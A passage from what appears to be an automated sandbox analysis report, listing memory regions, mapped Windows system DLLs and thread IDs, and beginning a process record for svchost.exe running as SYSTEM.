"shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 3937 start_va = 0x7fefbeb0000 end_va = 0x7fefbf32fff entry_point = 0x7fefbeb0000 region_type = mapped_file name = "timedate.cpl" filename = "\\Windows\\System32\\timedate.cpl" (normalized: "c:\\windows\\system32\\timedate.cpl") Region: id = 3938 start_va = 0x7fefbf40000 end_va = 0x7fefbf7afff entry_point = 0x7fefbf40000 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 3939 start_va = 0x7fefbf80000 end_va = 0x7fefc149fff entry_point = 0x7fefbf80000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 3940 start_va = 0x7fefc150000 end_va = 0x7fefc1a5fff entry_point = 0x7fefc150000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3941 start_va = 0x7fefc1b0000 end_va = 0x7fefc2dbfff entry_point = 0x7fefc1b0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3942 start_va = 0x7fefc2e0000 end_va = 0x7fefc2fcfff entry_point = 0x7fefc2e0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 3943 start_va = 0x7fefc300000 end_va = 0x7fefc308fff entry_point = 0x7fefc300000 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 3944 start_va = 0x7fefc310000 end_va = 0x7fefc32efff entry_point = 0x7fefc310000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 3945 start_va = 0x7fefc330000 end_va = 0x7fefc523fff entry_point = 0x7fefc330000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3946 start_va = 0x7fefc530000 end_va = 0x7fefc539fff entry_point = 0x7fefc530000 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 3947 start_va = 0x7fefc540000 end_va = 0x7fefc54bfff entry_point = 0x7fefc540000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 3948 start_va = 0x7fefc550000 end_va = 0x7fefc55afff entry_point = 0x7fefc550000 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 3949 start_va = 0x7fefc560000 end_va = 0x7fefc567fff entry_point = 0x7fefc560000 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 3950 start_va = 0x7fefc570000 end_va = 0x7fefc5effff entry_point = 0x7fefc570000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 3951 start_va = 0x7fefc5f0000 end_va = 0x7fefc5fefff entry_point = 0x7fefc5f0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 3952 start_va = 0x7fefc600000 end_va = 0x7fefc60bfff entry_point = 0x7fefc600000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 3953 start_va = 0x7fefc610000 end_va = 0x7fefc68dfff entry_point = 0x7fefc610000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 3954 start_va = 0x7fefc690000 end_va = 0x7fefc6c4fff entry_point = 0x7fefc690000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 3955 start_va = 0x7fefc6d0000 end_va = 0x7fefc7c1fff entry_point = 0x7fefc6d0000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 3956 start_va = 0x7fefc7d0000 end_va = 0x7fefc812fff entry_point = 0x7fefc7d0000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 3957 start_va = 0x7fefcba0000 end_va = 0x7fefcbbdfff entry_point = 0x7fefcba0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3958 start_va = 0x7fefccf0000 end_va = 0x7fefccf9fff entry_point = 0x7fefccf0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3959 start_va = 0x7fefcdf0000 end_va = 0x7fefce36fff entry_point = 0x7fefcdf0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3960 start_va = 0x7fefd0f0000 end_va = 0x7fefd106fff entry_point = 0x7fefd0f0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3961 start_va = 0x7fefd320000 end_va = 0x7fefd38cfff entry_point = 0x7fefd320000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3962 start_va = 0x7fefd5f0000 end_va = 0x7fefd612fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 3963 start_va = 0x7fefd690000 end_va = 0x7fefd69afff entry_point = 0x7fefd690000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3964 start_va = 0x7fefd6c0000 end_va = 0x7fefd6e4fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3965 start_va = 0x7fefd6f0000 end_va = 0x7fefd72cfff entry_point = 0x7fefd6f0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3966 start_va = 0x7fefd730000 end_va = 0x7fefd73efff entry_point = 0x7fefd730000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3967 start_va = 0x7fefd7e0000 end_va = 0x7fefd7f3fff entry_point = 0x7fefd7e0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3968 start_va = 0x7fefd800000 end_va = 0x7fefd80efff entry_point = 0x7fefd800000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3969 start_va = 0x7fefd8a0000 end_va = 0x7fefd8aefff entry_point = 0x7fefd8a0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3970 start_va = 0x7fefd8b0000 end_va = 0x7fefd8e9fff entry_point = 0x7fefd8b0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3971 start_va = 0x7fefd8f0000 end_va = 0x7fefd925fff entry_point = 0x7fefd8f0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3972 start_va = 0x7fefd9d0000 end_va = 0x7fefd9e9fff entry_point = 0x7fefd9d0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3973 start_va = 0x7fefd9f0000 end_va = 0x7fefdb56fff entry_point = 0x7fefd9f0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3974 start_va = 0x7fefdb60000 end_va = 0x7fefdbcafff entry_point = 0x7fefdb60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3975 start_va = 0x7fefdbd0000 end_va = 0x7fefdc1cfff entry_point = 0x7fefdbd0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3976 start_va = 0x7fefdc20000 end_va = 0x7fefdcb8fff entry_point = 0x7fefdc20000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3977 start_va = 0x7fefdcc0000 end_va = 0x7fefdd11fff entry_point = 0x7fefdcc0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3978 start_va = 0x7fefdda0000 end_va = 0x7fefdfa2fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3979 start_va = 0x7fefdfb0000 end_va = 0x7fefe086fff entry_point = 0x7fefdfb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3980 start_va = 0x7fefe090000 end_va = 0x7fefe097fff entry_point = 0x7fefe090000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3981 start_va = 0x7fefe0a0000 end_va = 0x7fefe0cdfff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3982 start_va = 0x7fefe0d0000 end_va = 0x7fefe1aafff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3983 start_va = 0x7fefe1b0000 end_va = 0x7fefe2dcfff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3984 start_va = 0x7fefe2e0000 end_va = 0x7fefe457fff entry_point = 0x7fefe2e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3985 start_va = 0x7fefe460000 end_va = 0x7fefe46dfff entry_point = 0x7fefe460000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3986 start_va = 0x7fefe470000 end_va = 0x7fefe50efff entry_point = 0x7fefe470000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3987 start_va = 0x7fefe510000 end_va = 0x7fefe639fff entry_point = 0x7fefe510000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3988 start_va = 0x7fefe640000 end_va = 0x7fefe65efff entry_point = 0x7fefe640000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3989 start_va = 0x7fefe660000 end_va = 0x7fefe728fff entry_point = 0x7fefe660000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3990 start_va = 0x7fefe730000 end_va = 0x7fefe838fff entry_point = 0x7fefe730000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3991 start_va = 0x7fefe840000 end_va = 0x7fefea16fff entry_point = 0x7fefe840000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3992 start_va = 0x7fefea20000 end_va = 0x7feff7a7fff entry_point = 0x7fefea20000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3993 start_va = 0x7feff7d0000 end_va = 0x7feff840fff entry_point = 0x7feff7d0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3994 start_va = 0x7feff850000 end_va = 0x7feff8b6fff entry_point = 0x7feff850000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3995 start_va = 0x7feff8c0000 end_va = 0x7feffb18fff entry_point = 0x7feff8c0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3996 start_va = 0x7feffbd0000 end_va = 0x7feffbd0fff entry_point = 0x7feffbd0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3997 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 3998 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 3999 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 4000 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 4001 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 4002 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 4003 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 4004 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 4005 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 4006 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 4007 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4008 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4009 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 4010 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 4011 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 4012 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 4013 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 4014 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4015 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4016 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4017 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4018 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4019 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4020 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4021 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4022 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4230 start_va = 0x7fef7550000 end_va = 0x7fef758efff entry_point = 0x7fef7550000 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 4246 start_va = 0x7fef8ba0000 end_va = 0x7fef8bf7fff entry_point = 0x7fef8ba0000 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 4247 start_va = 0x41f0000 end_va = 0x41f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041f0000" filename = "" Region: id = 4248 start_va = 0x7fefaef0000 end_va = 0x7fefaf0ffff entry_point = 0x7fefaef0000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 4249 start_va = 0x7fefb9d0000 end_va = 0x7fefb9d6fff entry_point = 0x7fefb9d0000 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 4250 start_va = 0x7fef8b40000 end_va = 0x7fef8b9dfff entry_point = 0x7fef8b40000 region_type = mapped_file name = "wwanapi.dll" filename = "\\Windows\\System32\\WWanAPI.dll" (normalized: "c:\\windows\\system32\\wwanapi.dll") Region: id = 4251 start_va = 0x7fef96a0000 end_va = 0x7fef96acfff entry_point = 0x7fef96a0000 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 4252 start_va = 0x5cf0000 end_va = 0x5d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000005cf0000" filename = "" Region: id = 4253 start_va = 0x7fef8780000 end_va = 0x7fef87c4fff entry_point = 0x7fef8780000 region_type = mapped_file name = "qagent.dll" filename = "\\Windows\\System32\\QAGENT.DLL" (normalized: "c:\\windows\\system32\\qagent.dll") Region: id = 4254 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 4261 start_va = 0x4200000 end_va = 0x4201fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004200000" filename = "" Region: id = 4262 start_va = 0x6070000 end_va = 0x60effff entry_point = 0x0 region_type = private name = "private_0x0000000006070000" filename = "" Region: id = 4263 start_va = 0x7fef4d60000 end_va = 0x7fef5916fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 4264 start_va = 0x7fef81d0000 end_va = 0x7fef8223fff entry_point = 0x7fef81d0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 4265 start_va = 0x7fef8510000 end_va = 0x7fef854afff entry_point = 0x7fef8510000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 4266 start_va = 0x7fef8550000 end_va = 0x7fef8599fff entry_point = 0x7fef8550000 region_type = mapped_file name = "webcheck.dll" filename = "\\Windows\\System32\\webcheck.dll" (normalized: "c:\\windows\\system32\\webcheck.dll") Region: id = 4271 start_va = 0x7fef7360000 end_va = 0x7fef7414fff entry_point = 0x7fef7360000 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 4272 start_va = 0x4740000 end_va = 0x4741fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004740000" filename = "" Region: id = 4273 start_va = 0x4750000 end_va = 0x4750fff entry_point = 0x4750000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 4274 start_va = 0x4760000 end_va = 0x4761fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004760000" filename = "" Region: id = 4275 start_va = 0x4770000 end_va = 0x4776fff entry_point = 0x4770000 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 4276 start_va = 0x7fef41a0000 end_va = 0x7fef4d56fff entry_point = 0x7fef41a0000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 4277 start_va = 0x7fef7130000 end_va = 0x7fef735afff entry_point = 0x7fef7130000 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 4278 start_va = 0x7fef8540000 end_va = 0x7fef8593fff entry_point = 0x7fef8540000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 4279 start_va = 0x4780000 end_va = 0x4781fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004780000" filename = "" Region: id = 4280 start_va = 0x5810000 end_va = 0x588ffff entry_point = 0x0 region_type = private name = "private_0x0000000005810000" filename = "" Region: id = 4281 start_va = 0x7fef6f20000 end_va = 0x7fef6fe1fff entry_point = 0x7fef6f20000 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 4282 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 4283 start_va = 0x7fef81b0000 end_va = 0x7fef822efff entry_point = 0x7fef81b0000 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 4284 start_va = 0x4810000 end_va = 0x4811fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004810000" filename = "" Region: id = 4285 start_va = 0x7fef75c0000 end_va = 0x7fef7614fff entry_point = 0x7fef75c0000 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 4286 start_va = 0x7fef8500000 end_va = 0x7fef8530fff entry_point = 0x7fef8500000 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 4287 start_va = 0x4820000 end_va = 0x4821fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004820000" filename = "" Region: id = 4288 start_va = 0x7fef6130000 end_va = 0x7fef61a3fff entry_point = 0x7fef6130000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 4289 start_va = 0x7fef6da0000 end_va = 0x7fef6e3cfff entry_point = 0x7fef6da0000 region_type = mapped_file name = "fxsapi.dll" filename = "\\Windows\\System32\\FXSAPI.dll" (normalized: "c:\\windows\\system32\\fxsapi.dll") Region: id = 4290 start_va = 0x7fef6e40000 end_va = 0x7fef6f16fff entry_point = 0x7fef6e40000 region_type = mapped_file name = "fxsst.dll" filename = "\\Windows\\System32\\FXSST.dll" (normalized: "c:\\windows\\system32\\fxsst.dll") Thread: id = 148 os_tid = 0x730 Thread: id = 149 os_tid = 0x7b4 Thread: id = 150 os_tid = 0x7e4 Thread: id = 151 os_tid = 0x344 Thread: id = 152 os_tid = 0x4d8 Thread: id = 153 os_tid = 0x494 Thread: id = 154 os_tid = 0x4ac Thread: id = 155 os_tid = 0x524 Thread: id = 156 os_tid = 0x5c0 Thread: id = 157 os_tid = 0x52c Thread: id = 158 os_tid = 0x230 Thread: id = 159 os_tid = 0x498 Thread: id = 160 os_tid = 0x1c0 Thread: id = 161 os_tid = 0x638 Thread: id = 162 os_tid = 0x64c Thread: id = 163 os_tid = 0x35c Thread: id = 164 os_tid = 0x360 Thread: id = 165 os_tid = 0x67c Thread: id = 166 os_tid = 0x328 Thread: id = 167 os_tid = 0x5d4 Thread: id = 168 os_tid = 0x5dc Thread: id = 169 os_tid = 0x314 Thread: id = 170 os_tid = 0x584 Thread: id = 171 os_tid = 0x610 Thread: id = 172 os_tid = 0x580 Thread: id = 201 os_tid = 0x6b0 Thread: id = 202 os_tid = 0x5fc Thread: id = 203 os_tid = 0x5c4 Thread: id = 205 os_tid = 0x634 Thread: id = 210 os_tid = 0x4b8 Thread: id = 212 os_tid = 0x694 Thread: id = 213 os_tid = 0x714 Process: id = "22" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x18f30000" os_pid = "0x33c" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "21" os_parent_pid = "0x508" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba5c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4023 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4024 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4025 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = 